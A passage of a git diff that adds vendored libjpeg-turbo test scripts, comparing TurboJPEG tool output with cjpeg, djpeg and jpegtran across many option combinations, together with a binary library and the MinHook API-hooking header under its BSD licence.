$OUTDIR/${basename}_${samp}_Q95_${scale}.${EXT} $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_${scale}_jpegtran.${EXT} + rm $OUTDIR/${basename}_${samp}_Q95_${scale}.${EXT} + done + done + done + fi + +done + +echo SUCCESS! diff --git a/lib/libjpeg-turbo/test/tjcomptest.in b/lib/libjpeg-turbo/test/tjcomptest.in new file mode 100755 index 0000000..468d69e --- /dev/null +++ b/lib/libjpeg-turbo/test/tjcomptest.in @@ -0,0 +1,195 @@ +#/bin/bash + +set -u +set -e +trap onexit INT +trap onexit TERM +trap onexit EXIT + +onexit() +{ + if [ -d $OUTDIR ]; then + rm -rf $OUTDIR + fi +} + +runme() +{ + echo \*\*\* $* | sed "s@$EXEDIR@\$EXEDIR@g" | sed "s@$IMGDIR@\$IMGDIR@g" | + sed "s@$JAVA@\$JAVA@g" | sed "s@$OUTDIR@\$OUTDIR@g" + "$@" +} + +IMGDIR=@CMAKE_SOURCE_DIR@/testimages +OUTDIR=`mktemp -d /tmp/__tjcomptest_output.XXXXXX` +EXEDIR=@CMAKE_BINARY_DIR@ +JAVA="@Java_JAVA_EXECUTABLE@" +JAVAARGS="-cp $EXEDIR/java/turbojpeg.jar -Djava.library.path=$EXEDIR" +TJCOMP=$EXEDIR/tjcomp +JAVAARG= + +if [ -d $OUTDIR ]; then + rm -rf $OUTDIR +fi +mkdir -p $OUTDIR + +while [ $# -gt 0 ]; do + case "$1" in + -java) + JAVAARG=-java + TJCOMP="$JAVA $JAVAARGS TJComp" + ;; + esac + shift +done + +exec >$EXEDIR/test/tjcomptest$JAVAARG.log + +echo "EXEDIR: $EXEDIR" +echo "IMGDIR: $IMGDIR" +echo "OUTDIR: $OUTDIR" +echo + +SUBSAMPOPT=(444 422 440 420 411 441) +SAMPOPT=(1x1 2x1 1x2 2x2 4x1 1x4) + +for precision in 8 12; do + if [ $precision -le 8 ]; then + RGBIMG=$IMGDIR/testorig.ppm + GRAYIMG=$IMGDIR/testorig.pgm + else + RGBIMG=$IMGDIR/monkey16.ppm + GRAYIMG=$IMGDIR/monkey16.pgm + fi + if [ $precision -eq 8 ]; then + prearg= + else + prearg="-pre $precision" + fi + for restartarg in "" "-r 1 -icc $IMGDIR/test3.icc" "-r 1b"; do + for ariarg in "" "-a"; do + for dctarg in "" "-dc fa"; do + for optarg in "" "-o"; do + if [ "$optarg" = "-o" ]; then + if [[ "$ariarg" = "-a" || $precision -eq 12 ]]; then + continue + fi + fi + for progarg in "" "-p"; do + if [[ "$progarg" = "-p" && "$optarg" = "-o" ]]; then + continue + fi + for qualarg in "" "-q 1" "-q 100"; do + blarg= + if [ "$qualarg" = "-q 1" ]; then + blarg=-baseline + fi + for sampi in {0..5}; do + basename=`basename $RGBIMG .ppm` + runme $TJCOMP $prearg $restartarg $ariarg $dctarg \ + $optarg $progarg $qualarg -s ${SUBSAMPOPT[$sampi]} \ + $RGBIMG $OUTDIR/${basename}-tjcomp.jpg + runme $EXEDIR/cjpeg $prearg $restartarg $ariarg $dctarg \ + $optarg $progarg $qualarg $blarg -sa ${SAMPOPT[$sampi]} \ + -outf $OUTDIR/${basename}-cjpeg.jpg $RGBIMG + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjcomp.jpg \ + $OUTDIR/${basename}-cjpeg.jpg | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjcomp.jpg \ + $OUTDIR/${basename}-cjpeg.jpg + rm $OUTDIR/${basename}-tjcomp.jpg $OUTDIR/${basename}-cjpeg.jpg + echo + + runme $TJCOMP $prearg $restartarg $ariarg $dctarg \ + $optarg $progarg $qualarg -s ${SUBSAMPOPT[$sampi]} \ + -g $RGBIMG $OUTDIR/${basename}-tjcomp.jpg + runme $EXEDIR/cjpeg $prearg $restartarg $ariarg $dctarg \ + $optarg $progarg $qualarg $blarg -sa ${SAMPOPT[$sampi]} \ + -gr -outf $OUTDIR/${basename}-cjpeg.jpg $RGBIMG + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjcomp.jpg \ + $OUTDIR/${basename}-cjpeg.jpg | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjcomp.jpg \ + $OUTDIR/${basename}-cjpeg.jpg + rm $OUTDIR/${basename}-tjcomp.jpg $OUTDIR/${basename}-cjpeg.jpg + echo + + runme $TJCOMP $prearg $restartarg $ariarg $dctarg \ + $optarg $progarg $qualarg -s ${SUBSAMPOPT[$sampi]} \ + -rg $RGBIMG $OUTDIR/${basename}-tjcomp.jpg + runme $EXEDIR/cjpeg $prearg $restartarg $ariarg $dctarg \ + $optarg $progarg $qualarg $blarg -sa ${SAMPOPT[$sampi]} \ + -rgb -outf $OUTDIR/${basename}-cjpeg.jpg $RGBIMG + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjcomp.jpg \ + $OUTDIR/${basename}-cjpeg.jpg | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjcomp.jpg \ + $OUTDIR/${basename}-cjpeg.jpg + rm $OUTDIR/${basename}-tjcomp.jpg $OUTDIR/${basename}-cjpeg.jpg + echo + + basename=`basename $GRAYIMG .pgm` + runme $TJCOMP $prearg $restartarg $ariarg $dctarg \ + $optarg $progarg $qualarg -s ${SUBSAMPOPT[$sampi]} \ + $GRAYIMG $OUTDIR/${basename}-tjcomp.jpg + runme $EXEDIR/cjpeg $prearg $restartarg $ariarg $dctarg \ + $optarg $progarg $qualarg $blarg -sa ${SAMPOPT[$sampi]} \ + -outf $OUTDIR/${basename}-cjpeg.jpg $GRAYIMG + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjcomp.jpg \ + $OUTDIR/${basename}-cjpeg.jpg | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjcomp.jpg \ + $OUTDIR/${basename}-cjpeg.jpg + rm $OUTDIR/${basename}-tjcomp.jpg $OUTDIR/${basename}-cjpeg.jpg + echo + done + done + done + done + done + done + done +done + +for precision in {2..16}; do + if [ $precision -le 8 ]; then + RGBIMG=$IMGDIR/testorig.ppm + GRAYIMG=$IMGDIR/testorig.pgm + else + RGBIMG=$IMGDIR/monkey16.ppm + GRAYIMG=$IMGDIR/monkey16.pgm + fi + if [ $precision -eq 8 ]; then + prearg= + else + prearg="-pre $precision" + fi + for psv in {1..7}; do + for pt in {0..15}; do + if [ $pt -ge $precision ]; then + continue + fi + for restartarg in "" "-r 1 -icc $IMGDIR/test3.icc"; do + basename=`basename $RGBIMG .ppm` + runme $TJCOMP $prearg -l $psv,$pt $restartarg \ + $RGBIMG $OUTDIR/${basename}-tjcomp.jpg + runme $EXEDIR/cjpeg $prearg -l $psv,$pt $restartarg \ + -outf $OUTDIR/${basename}-cjpeg.jpg $RGBIMG + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjcomp.jpg \ + $OUTDIR/${basename}-cjpeg.jpg | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjcomp.jpg $OUTDIR/${basename}-cjpeg.jpg + rm $OUTDIR/${basename}-tjcomp.jpg $OUTDIR/${basename}-cjpeg.jpg + echo + + basename=`basename $GRAYIMG .pgm` + runme $TJCOMP $prearg -l $psv,$pt $restartarg \ + $GRAYIMG $OUTDIR/${basename}-tjcomp.jpg + runme $EXEDIR/cjpeg $prearg -l $psv,$pt $restartarg \ + -outf $OUTDIR/${basename}-cjpeg.jpg $GRAYIMG + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjcomp.jpg \ + $OUTDIR/${basename}-cjpeg.jpg | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjcomp.jpg $OUTDIR/${basename}-cjpeg.jpg + rm $OUTDIR/${basename}-tjcomp.jpg $OUTDIR/${basename}-cjpeg.jpg + echo + done + done + done +done + +echo "GREAT SUCCESS!" diff --git a/lib/libjpeg-turbo/test/tjdecomptest.in b/lib/libjpeg-turbo/test/tjdecomptest.in new file mode 100755 index 0000000..ccdb581 --- /dev/null +++ b/lib/libjpeg-turbo/test/tjdecomptest.in @@ -0,0 +1,224 @@ +#/bin/bash + +set -u +set -e +trap onexit INT +trap onexit TERM +trap onexit EXIT + +onexit() +{ + if [ -d $OUTDIR ]; then + rm -rf $OUTDIR + fi +} + +runme() +{ + echo \*\*\* $* | sed "s@$EXEDIR@\$EXEDIR@g" | sed "s@$IMGDIR@\$IMGDIR@g" | + sed "s@$JAVA@\$JAVA@g" | sed "s@$OUTDIR@\$OUTDIR@g" + "$@" +} + +IMGDIR=@CMAKE_SOURCE_DIR@/testimages +OUTDIR=`mktemp -d /tmp/__tjdecomptest_output.XXXXXX` +EXEDIR=@CMAKE_BINARY_DIR@ +JAVA="@Java_JAVA_EXECUTABLE@" +JAVAARGS="-cp $EXEDIR/java/turbojpeg.jar -Djava.library.path=$EXEDIR" +TJDECOMP=$EXEDIR/tjdecomp +JAVAARG= + +if [ -d $OUTDIR ]; then + rm -rf $OUTDIR +fi +mkdir -p $OUTDIR + +while [ $# -gt 0 ]; do + case "$1" in + -java) + JAVAARG=-java + TJDECOMP="$JAVA $JAVAARGS TJDecomp" + ;; + esac + shift +done + +exec >$EXEDIR/test/tjdecomptest$JAVAARG.log + +echo "EXEDIR: $EXEDIR" +echo "IMGDIR: $IMGDIR" +echo "OUTDIR: $OUTDIR" +echo + +SUBSAMPOPT=(444 422 440 420 411 441 410) +SAMPOPT=(1x1 2x1 1x2 2x2 4x1 1x4 4x2) + +for precision in 8 12; do + if [ $precision -le 8 ]; then + RGBIMG=$IMGDIR/testorig.ppm + GRAYIMG=$IMGDIR/testorig.pgm + else + RGBIMG=$IMGDIR/monkey16.ppm + GRAYIMG=$IMGDIR/monkey16.pgm + fi + + for sampi in {0..6}; do + iccarg= + if [ $sampi = 3 ]; then + iccarg="-icc $IMGDIR/test1.icc" + fi + runme $EXEDIR/cjpeg -pre $precision -sa ${SAMPOPT[$sampi]} $iccarg \ + -outf $OUTDIR/`basename $RGBIMG .ppm`-${SUBSAMPOPT[$sampi]}.jpg $RGBIMG + done + runme $EXEDIR/cjpeg -pre $precision \ + -outf $OUTDIR/`basename $GRAYIMG .pgm`-gray.jpg $GRAYIMG + echo + + for subsamp in ${SUBSAMPOPT[*]} gray; do + for croparg in "" "-cr 14x14+23+23" "-cr 21x21+4+4" "-cr 18x18+13+13" \ + "-cr 21x21+0+0" "-cr 24x26+20+18"; do + if [[ "$croparg" != "" && "$subsamp" = "410" ]]; then + continue + fi + for scalearg in "" "-s 16/8" "-s 15/8" "-s 14/8" "-s 13/8" "-s 12/8" \ + "-s 11/8" "-s 10/8" "-s 9/8" "-s 7/8" "-s 6/8" "-s 5/8" "-s 4/8" \ + "-s 3/8" "-s 2/8" "-s 1/8"; do + if [[ ("$scalearg" = "-s 1/8" || "$scalearg" = "-s 2/8" || \ + "$scalearg" = "-s 3/8") && "$croparg" != "" ]]; then + continue + fi + for nsarg in "" "-nos"; do + if [[ "$nsarg" = "-nos" && "$subsamp" != "422" && \ + "$subsamp" != "420" && "$subsamp" != "440" ]]; then + continue + fi + for dctarg in "" "-dc fa"; do + if [[ "$dctarg" = "-dc fa" && \ + ("$scalearg" != "-s 4/8" || \ + ("$subsamp" != "420" && "$subsamp" != "410")) && \ + "$scalearg" != "" ]]; then + continue + fi + if [ "$subsamp" = "gray" ]; then + basename=`basename $GRAYIMG .pgm` + runme $TJDECOMP $croparg $dctarg $nsarg $scalearg \ + $OUTDIR/${basename}-$subsamp.jpg \ + $OUTDIR/${basename}-tjdecomp.pgm + runme $EXEDIR/djpeg $croparg $dctarg $nsarg $scalearg \ + -outf $OUTDIR/${basename}-djpeg.pgm \ + $OUTDIR/${basename}-$subsamp.jpg + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjdecomp.pgm \ + $OUTDIR/${basename}-djpeg.pgm | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjdecomp.pgm \ + $OUTDIR/${basename}-djpeg.pgm + rm $OUTDIR/${basename}-tjdecomp.pgm $OUTDIR/${basename}-djpeg.pgm + echo + + runme $TJDECOMP $croparg $dctarg $nsarg $scalearg \ + -r $OUTDIR/${basename}-$subsamp.jpg \ + $OUTDIR/${basename}-tjdecomp.ppm + runme $EXEDIR/djpeg $croparg $dctarg $nsarg $scalearg \ + -rg -outf $OUTDIR/${basename}-djpeg.ppm \ + $OUTDIR/${basename}-$subsamp.jpg + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjdecomp.ppm \ + $OUTDIR/${basename}-djpeg.ppm | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjdecomp.ppm \ + $OUTDIR/${basename}-djpeg.ppm + rm $OUTDIR/${basename}-tjdecomp.ppm $OUTDIR/${basename}-djpeg.ppm + echo + else + basename=`basename $RGBIMG .ppm` + iccarg= + if [ "$subsamp" = "420" ]; then + iccarg="-icc $OUTDIR/${basename}-tjdecomp.icc" + fi + runme $TJDECOMP $croparg $dctarg $nsarg $scalearg $iccarg \ + $OUTDIR/${basename}-$subsamp.jpg \ + $OUTDIR/${basename}-tjdecomp.ppm + if [ "$subsamp" = "420" ]; then + iccarg="-icc $OUTDIR/${basename}-djpeg.icc" + fi + runme $EXEDIR/djpeg $croparg $dctarg $nsarg $scalearg $iccarg \ + -outf $OUTDIR/${basename}-djpeg.ppm \ + $OUTDIR/${basename}-$subsamp.jpg + if [ "$subsamp" = "420" ]; then + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjdecomp.icc \ + $OUTDIR/${basename}-djpeg.icc | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjdecomp.icc \ + $OUTDIR/${basename}-djpeg.icc + rm $OUTDIR/${basename}-tjdecomp.icc $OUTDIR/${basename}-djpeg.icc + fi + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjdecomp.ppm \ + $OUTDIR/${basename}-djpeg.ppm | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjdecomp.ppm \ + $OUTDIR/${basename}-djpeg.ppm + rm $OUTDIR/${basename}-tjdecomp.ppm $OUTDIR/${basename}-djpeg.ppm + echo + + if [[ "$nsarg" = "" ]]; then + runme $TJDECOMP $croparg $dctarg $nsarg $scalearg \ + -g $OUTDIR/${basename}-$subsamp.jpg \ + $OUTDIR/${basename}-tjdecomp.pgm + runme $EXEDIR/djpeg $croparg $dctarg $nsarg $scalearg \ + -gr -outf $OUTDIR/${basename}-djpeg.pgm \ + $OUTDIR/${basename}-$subsamp.jpg + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjdecomp.pgm \ + $OUTDIR/${basename}-djpeg.pgm | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjdecomp.pgm \ + $OUTDIR/${basename}-djpeg.pgm + rm $OUTDIR/${basename}-tjdecomp.pgm \ + $OUTDIR/${basename}-djpeg.pgm + echo + fi + fi + done + done + done + done + rm $OUTDIR/${basename}-$subsamp.jpg + done +done + +for precision in {2..16}; do + if [ $precision -le 8 ]; then + RGBIMG=$IMGDIR/testorig.ppm + GRAYIMG=$IMGDIR/testorig.pgm + else + RGBIMG=$IMGDIR/monkey16.ppm + GRAYIMG=$IMGDIR/monkey16.pgm + fi + + basename=`basename $RGBIMG .ppm` + runme $EXEDIR/cjpeg -pre $precision -l 1 \ + -outf $OUTDIR/${basename}-rgb.jpg $RGBIMG + echo + + runme $TJDECOMP $OUTDIR/${basename}-rgb.jpg \ + $OUTDIR/${basename}-tjdecomp.ppm + runme $EXEDIR/djpeg -outf $OUTDIR/${basename}-djpeg.ppm \ + $OUTDIR/${basename}-rgb.jpg + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjdecomp.ppm \ + $OUTDIR/${basename}-djpeg.ppm | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjdecomp.ppm $OUTDIR/${basename}-djpeg.ppm + rm $OUTDIR/${basename}-tjdecomp.ppm $OUTDIR/${basename}-djpeg.ppm + rm $OUTDIR/${basename}-rgb.jpg + echo + + basename=`basename $GRAYIMG .pgm` + runme $EXEDIR/cjpeg -pre $precision -l 1 \ + -outf $OUTDIR/${basename}-gray.jpg $GRAYIMG + echo + + runme $TJDECOMP $OUTDIR/${basename}-gray.jpg \ + $OUTDIR/${basename}-tjdecomp.pgm + runme $EXEDIR/djpeg -outf $OUTDIR/${basename}-djpeg.pgm \ + $OUTDIR/${basename}-gray.jpg + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjdecomp.pgm \ + $OUTDIR/${basename}-djpeg.pgm | sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjdecomp.pgm $OUTDIR/${basename}-djpeg.pgm + rm $OUTDIR/${basename}-tjdecomp.pgm $OUTDIR/${basename}-djpeg.pgm + rm $OUTDIR/${basename}-gray.jpg + echo +done + +echo "GREAT SUCCESS!" diff --git a/lib/libjpeg-turbo/test/tjtrantest.in b/lib/libjpeg-turbo/test/tjtrantest.in new file mode 100755 index 0000000..6f9540e --- /dev/null +++ b/lib/libjpeg-turbo/test/tjtrantest.in @@ -0,0 +1,172 @@ +#/bin/bash + +set -u +set -e +trap onexit INT +trap onexit TERM +trap onexit EXIT + +onexit() +{ + if [ -d $OUTDIR ]; then + rm -rf $OUTDIR + fi +} + +runme() +{ + echo \*\*\* $* | sed "s@$EXEDIR@\$EXEDIR@g" | sed "s@$IMGDIR@\$IMGDIR@g" | + sed "s@$JAVA@\$JAVA@g" | sed "s@$OUTDIR@\$OUTDIR@g" + "$@" +} + +IMGDIR=@CMAKE_SOURCE_DIR@/testimages +OUTDIR=`mktemp -d /tmp/__tjtrantest_output.XXXXXX` +EXEDIR=@CMAKE_BINARY_DIR@ +JAVA="@Java_JAVA_EXECUTABLE@" +JAVAARGS="-cp $EXEDIR/java/turbojpeg.jar -Djava.library.path=$EXEDIR" +TJTRAN=$EXEDIR/tjtran +JAVAARG= + +if [ -d $OUTDIR ]; then + rm -rf $OUTDIR +fi +mkdir -p $OUTDIR + +while [ $# -gt 0 ]; do + case "$1" in + -java) + JAVAARG=-java + TJTRAN="$JAVA $JAVAARGS TJTran" + ;; + esac + shift +done + +exec >$EXEDIR/test/tjtrantest$JAVAARG.log + +echo "EXEDIR: $EXEDIR" +echo "IMGDIR: $IMGDIR" +echo "OUTDIR: $OUTDIR" +echo + +SUBSAMPOPT=(444 422 440 420 411 441 410) +SAMPOPT=(1x1 2x1 1x2 2x2 4x1 1x4 4x2) + +for precision in 8 12; do + if [ $precision -le 8 ]; then + RGBIMG=$IMGDIR/testorig.ppm + GRAYIMG=$IMGDIR/testorig.pgm + else + RGBIMG=$IMGDIR/monkey16.ppm + GRAYIMG=$IMGDIR/monkey16.pgm + fi + + for sampi in {0..6}; do + EXTRA_ARGS= + if [ $sampi = 1 ]; then + EXTRA_ARGS=-p + elif [ $sampi = 2 ]; then + EXTRA_ARGS=-a + elif [ $sampi = 3 ]; then + EXTRA_ARGS="-o -icc $IMGDIR/test1.icc" + elif [ $sampi = 5 ]; then + EXTRA_ARGS="-r 1" + fi + runme $EXEDIR/cjpeg -pre $precision -sa ${SAMPOPT[$sampi]} $EXTRA_ARGS \ + -outf $OUTDIR/`basename $RGBIMG .ppm`-${SUBSAMPOPT[$sampi]}.jpg $RGBIMG + if [[ $sampi = 3 || $sampi = 4 ]]; then + $EXEDIR/wrjpgcom -comment "This is a test" \ + $OUTDIR/`basename $RGBIMG .ppm`-${SUBSAMPOPT[$sampi]}.jpg \ + >$OUTDIR/temp.jpg + mv $OUTDIR/temp.jpg \ + $OUTDIR/`basename $RGBIMG .ppm`-${SUBSAMPOPT[$sampi]}.jpg + fi + done + runme $EXEDIR/cjpeg -pre $precision \ + -outf $OUTDIR/`basename $GRAYIMG .pgm`-gray.jpg $GRAYIMG + echo + + for subsamp in ${SUBSAMPOPT[*]} gray; do + if [ "$subsamp" = "gray" ]; then + basename=`basename $GRAYIMG .pgm` + else + basename=`basename $RGBIMG .ppm` + fi + for ariarg in "" "-a"; do + for copyarg in "" "-c i" "-c n"; do + if [[ "$copyarg" = "-c n" && "$subsamp" != "411" && \ + "$subsamp" != "420" ]]; then + continue + fi + if [[ "$copyarg" = "-c i" && "$subsamp" != "420" ]]; then + continue + fi + for croparg in "" "-cr 14x14+23+23" "-cr 21x21+4+4" "-cr 18x18+13+13" \ + "-cr 21x21+0+0" "-cr 24x26+20+18"; do + for xformarg in "" "-f h" "-f v" "-ro 90" "-ro 180" "-ro 270" "-t" \ + "-transv"; do + for grayarg in "" "-g"; do + if [ "$grayarg" = "" ]; then + if [[ "$subsamp" = "410" && "$croparg" != "" ]]; then + continue + fi + else + if [ "$subsamp" = "gray" ]; then + continue + fi + fi + for optarg in "" "-o"; do + if [ "$optarg" = "-o" ]; then + if [[ "$ariarg" = "-a" || $precision -eq 12 ]]; then + continue + fi + fi + for progarg in "" "-p"; do + if [[ "$progarg" = "-p" && "$optarg" = "-o" ]]; then + continue + fi + for restartarg in "" "-r 1 -icc $IMGDIR/test3.icc" \ + "-r 1b"; do + if [[ "$restartarg" = "-r 1b" && "$croparg" != "" ]]; then + continue + fi + for trimarg in "" "-tri"; do + if [ "$trimarg" = "-tri" ]; then + if [[ "$xformarg" = "-t" || "$xformarg" = "" ]]; then + continue + fi + if [ "$croparg" != "" ]; then + continue + fi + fi + runme $TJTRAN $ariarg $copyarg $croparg $xformarg \ + $grayarg $optarg $progarg $restartarg $trimarg \ + $OUTDIR/${basename}-$subsamp.jpg \ + $OUTDIR/${basename}-tjtran.jpg + runme $EXEDIR/jpegtran $ariarg $copyarg $croparg \ + $xformarg $grayarg $optarg $progarg $restartarg \ + $trimarg -outf $OUTDIR/${basename}-jpegtran.jpg \ + $OUTDIR/${basename}-$subsamp.jpg + $EXEDIR/test/md5sum $OUTDIR/${basename}-tjtran.jpg \ + $OUTDIR/${basename}-jpegtran.jpg | + sed "s@$OUTDIR@\$OUTDIR@g" + cmp $OUTDIR/${basename}-tjtran.jpg \ + $OUTDIR/${basename}-jpegtran.jpg + rm $OUTDIR/${basename}-tjtran.jpg \ + $OUTDIR/${basename}-jpegtran.jpg + echo + done + done + done + done + done + done + done + done + done + rm $OUTDIR/${basename}-$subsamp.jpg + done +done + +echo "GREAT SUCCESS!" diff --git a/lib/libturbojpeg.a b/lib/libturbojpeg.a new file mode 100755 index 0000000..50292c2 Binary files /dev/null and b/lib/libturbojpeg.a differ diff --git a/lib/minhook/include/MinHook.h b/lib/minhook/include/MinHook.h new file mode 100755 index 0000000..ae39350 --- /dev/null +++ b/lib/minhook/include/MinHook.h @@ -0,0 +1,185 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) + #error MinHook supports only x86 and x64 systems. +#endif + +#include + +// MinHook Error Codes. +typedef enum MH_STATUS +{ + // Unknown error. Should not be returned. + MH_UNKNOWN = -1, + + // Successful. + MH_OK = 0, + + // MinHook is already initialized. + MH_ERROR_ALREADY_INITIALIZED, + + // MinHook is not initialized yet, or already uninitialized. + MH_ERROR_NOT_INITIALIZED, + + // The hook for the specified target function is already created. + MH_ERROR_ALREADY_CREATED, + + // The hook for the specified target function is not created yet. + MH_ERROR_NOT_CREATED, + + // The hook for the specified target function is already enabled. + MH_ERROR_ENABLED, + + // The hook for the specified target function is not enabled yet, or already + // disabled. + MH_ERROR_DISABLED, + + // The specified pointer is invalid. It points the address of non-allocated + // and/or non-executable region. + MH_ERROR_NOT_EXECUTABLE, + + // The specified target function cannot be hooked. + MH_ERROR_UNSUPPORTED_FUNCTION, + + // Failed to allocate memory. + MH_ERROR_MEMORY_ALLOC, + + // Failed to change the memory protection. + MH_ERROR_MEMORY_PROTECT, + + // The specified module is not loaded. + MH_ERROR_MODULE_NOT_FOUND, + + // The specified function is not found. + MH_ERROR_FUNCTION_NOT_FOUND +} +MH_STATUS; + +// Can be passed as a parameter to MH_EnableHook, MH_DisableHook, +// MH_QueueEnableHook or MH_QueueDisableHook. +#define MH_ALL_HOOKS NULL + +#ifdef __cplusplus +extern "C" { +#endif + + // Initialize the MinHook library. You must call this function EXACTLY ONCE + // at the beginning of your program. + MH_STATUS WINAPI MH_Initialize(VOID); + + // Uninitialize the MinHook library. You must call this function EXACTLY + // ONCE at the end of your program. + MH_STATUS WINAPI MH_Uninitialize(VOID); + + // Creates a hook for the specified target function, in disabled state. + // Parameters: + // pTarget [in] A pointer to the target function, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal); + + // Creates a hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszProcName [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApi( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal); + + // Creates a hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszProcName [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + // ppTarget [out] A pointer to the target function, which will be used + // with other functions. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApiEx( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget); + + // Removes an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); + + // Enables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // enabled in one go. + MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); + + // Disables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // disabled in one go. + MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); + + // Queues to enable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be enabled. + MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); + + // Queues to disable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be disabled. + MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); + + // Applies all queued changes in one go. + MH_STATUS WINAPI MH_ApplyQueued(VOID); + + // Translates the MH_STATUS to its name as a string. + const char *WINAPI MH_StatusToString(MH_STATUS status); + +#ifdef __cplusplus +} +#endif diff --git a/lib/minhook/src/buffer.c b/lib/minhook/src/buffer.c new file mode 100755 index 0000000..940df65 --- /dev/null +++ b/lib/minhook/src/buffer.c @@ -0,0 +1,312 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR 